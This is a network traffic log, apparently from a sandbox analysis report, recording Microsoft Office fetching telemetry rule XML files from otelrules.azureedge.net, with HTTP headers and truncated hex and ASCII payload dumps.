2024-11-02 06:15:55 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.4	63720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:15:55 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:15:55 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:15:55 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 1b669881-b01e-0097-6d1e-2c4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061555Z-r159446fcd7bn5c7hC1DFWbnyg0000000120000000001g0g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:15:55 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.4	63721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:15:55 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:15:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:15:55 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 07004fc3-001e-0028-6c2f-2cc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061555Z-r159446fcd7xfscrhC1DFWamb000000000z000000000a0bq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:15:55 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.4	63724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:15:56 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:15:56 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:15:56 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1f907120-801e-0047-71ae-2b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061556Z-16ccfc49897rwhbvhC1DFWx88g00000001f000000000pkq0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:15:56 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	63722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:15:56 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:15:56 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:15:56 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 6c1a5441-101e-00a2-7008-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061556Z-16ccfc498972q798hC1DFWe4nw00000001u0000000002ery x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:15:56 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	63723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:15:56 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:15:56 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:15:56 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: ab6d44c0-401e-005b-6508-2c9c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061556Z-16ccfc49897774xmhC1DFWuraw00000001q0000000001ut2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:15:56 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	63726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:15:56 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:15:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:15:56 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 12e859be-a01e-0098-7408-2c8556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061556Z-16dc884887b6v426hC1DFWstvw00000001t00000000018n5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:15:56 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	63725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:15:56 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:15:56 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:15:56 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 23cb21e1-e01e-0052-4e08-2cd9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061556Z-16ccfc498978mvxwhC1DFWafzn00000001t0000000009e11 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:15:56 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	63729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:15:57 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:15:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:15:57 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: e0a62fb0-501e-000a-4d47-2c0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061557Z-16dc884887bb4p45hC1DFWv3z000000001qg00000000ahge x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:15:57 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	63727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:15:57 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:15:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:15:57 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 718751ec-501e-0078-1528-2c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061557Z-176bd8f9bc55l2dfhC1DFWw03w00000001rg000000006ee0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:15:57 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	63730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:15:57 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:15:57 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:15:57 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: ab97492c-801e-007b-8024-2ce7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061557Z-r159446fcd7dm7pfhC1DFWkcfc00000000tg00000000d8c6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:15:57 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	63728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:15:57 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:15:57 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:15:57 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 250fb995-801e-0078-4343-2bbac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061557Z-16ccfc498974624whC1DFWdg3800000001m00000000080ky x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:15:57 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	63731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:15:57 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
